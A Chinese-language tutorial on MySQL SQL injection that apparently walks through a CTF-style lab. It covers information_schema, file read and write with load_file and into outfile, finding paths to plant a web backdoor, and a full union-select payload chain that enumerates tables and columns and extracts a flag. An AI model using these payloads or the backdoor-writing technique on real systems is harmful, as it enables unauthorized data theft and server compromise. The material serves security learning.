SQL注入之MYSQL注入
SQL注入之MYSQL注入
information_schema
MYSQL5.0以上版本中,再带一个名为information_schema的数据库,这个数据库存储这所有数据库名,表名和列名,可通过此数据库查询指定数据库下的表明和列名。
mysql> use information_schema;
Database changed
mysql> show tables;
+———————————————————-+
| Tables_in_information_schema |
+———————————————————-+
| CHARACTER_SETS |
| COLLATIONS |
| COLLATION_CHARACTER_SET_APPLICABILITY |
| COLUMNS |
| COLUMN_PRIVILEGES |
| ENGINES |
| EVENTS |
| FILES |
| GLOBAL_STATUS |
| GLOBAL_VARIABLES |
| KEY_COLUMN_USAGE |
| OPTIMIZER_TRACE |
| PARAMETERS |
| PARTITIONS |
| PLUGINS |
| PROCESSLIST |
| PROFILING |
| REFERENTIAL_CONSTRAINTS |
| ROUTINES |
| SCHEMATA |
| SCHEMA_PRIVILEGES |
| SESSION_STATUS |
| SESSION_VARIABLES |
| STATISTICS |
| TABLES |
| TABLESPACES |
| TABLE_CONSTRAINTS |
| TABLE_PRIVILEGES |
| TRIGGERS |
| USER_PRIVILEGES |
| VIEWS |
| INNODB_LOCKS |
| INNODB_TRX |
| INNODB_SYS_DATAFILES |
| INNODB_FT_CONFIG |
| INNODB_SYS_VIRTUAL |
| INNODB_CMP |
| INNODB_FT_BEING_DELETED |
| INNODB_CMP_RESET |
| INNODB_CMP_PER_INDEX |
| INNODB_CMPMEM_RESET |
| INNODB_FT_DELETED |
| INNODB_BUFFER_PAGE_LRU |
| INNODB_LOCK_WAITS |
| INNODB_TEMP_TABLE_INFO |
| INNODB_SYS_INDEXES |
| INNODB_SYS_TABLES |
| INNODB_SYS_FIELDS |
| INNODB_CMP_PER_INDEX_RESET |
| INNODB_BUFFER_PAGE |
| INNODB_FT_DEFAULT_STOPWORD |
| INNODB_FT_INDEX_TABLE |
| INNODB_FT_INDEX_CACHE |
| INNODB_SYS_TABLESPACES |
| INNODB_METRICS |
| INNODB_SYS_FOREIGN_COLS |
| INNODB_CMPMEM |
| INNODB_BUFFER_POOL_STATS |
| INNODB_SYS_COLUMNS |
| INNODB_SYS_FOREIGN |
| INNODB_SYS_TABLESTATS |
+———————————————————-+
61 rows in set (0.00 sec)>
information_schema.schemata:记录所有数据库名的表
information_schema.tables:记录所有表名信息的表
information_schema.columns:记录所有列名信息的表
table_name:表名
column_schema:列名
低版本注入
目前5.0以下版本的mysql很少见,一般只能通过字典暴力破解少数可通过文件读取收集路径信息
文件读写操作
读文件
select load_file(“D:\1.txt”) # 文件路径需要转义
写文件
select …….into outfile ‘ ‘
select …… into dumpfile’ ‘
路径获取方法(获取路径可以尝试写入一句话后门)
报错显示
遗留文件:调试网站时所遗留的信息文件,如phpinfo()等,会泄露路径,可用工具扫描到。
漏洞报错:知道对方用什么程序搭建的网站,网上搜索相关爆路径漏洞
平台配置文件:通过读取文件来读取搭建平台配置文件。缺点:路径不默认,一旦更改很难找到。
常用函数
version():数据库的版本(注意5.0版本前后的区别)
user():当前操作数据库的用户
database():当前数据库名
@@version_compile_os:服务器的操作系统
运算符优先级问题
判断注入流程
一、 判断是否存在注入点(在传参数如:id=1等等,中输入单引号)
1、这是正常打开的页面
2、在id=1处输入单引号,发现报错,说明存在注入
二、查询当前数据表有多少列用order by 来判断有多少列(超过列数就会报错)
order by 1 — qwe页面正常
一直到 order by 4 — qwe 页面不正常,这里判断有数据表3列
三 、第三步找输出点
‘ union select 1,2,3— qwe
发现2,3 都是输出点,然后可以任选一个作为输出点。
四、用2作为输出点查询数据库的表
‘ union select 1,table_name,3 from information_schema.tables where table_schema=database() — qwe
查询到一个表为user
‘union select 1,table_name,3 from information_schema.tables where table_schema=database() limit 0,2 — qwe
加上limit 0,1另一个表为error_flag,这就是我们所需要的表!
五、查询error_flag表的字段
‘ union select 1,column_name,3 from information_schema.columns where table_schema=database() and table_name=’error_flag’ — qwe
显示字段为flag
六、查询error_flag表flag字段的数据
‘ union select 1,flag,3 from error_flag limit 0,2 — qwe
拿到flag(也就是flag表里的数据)。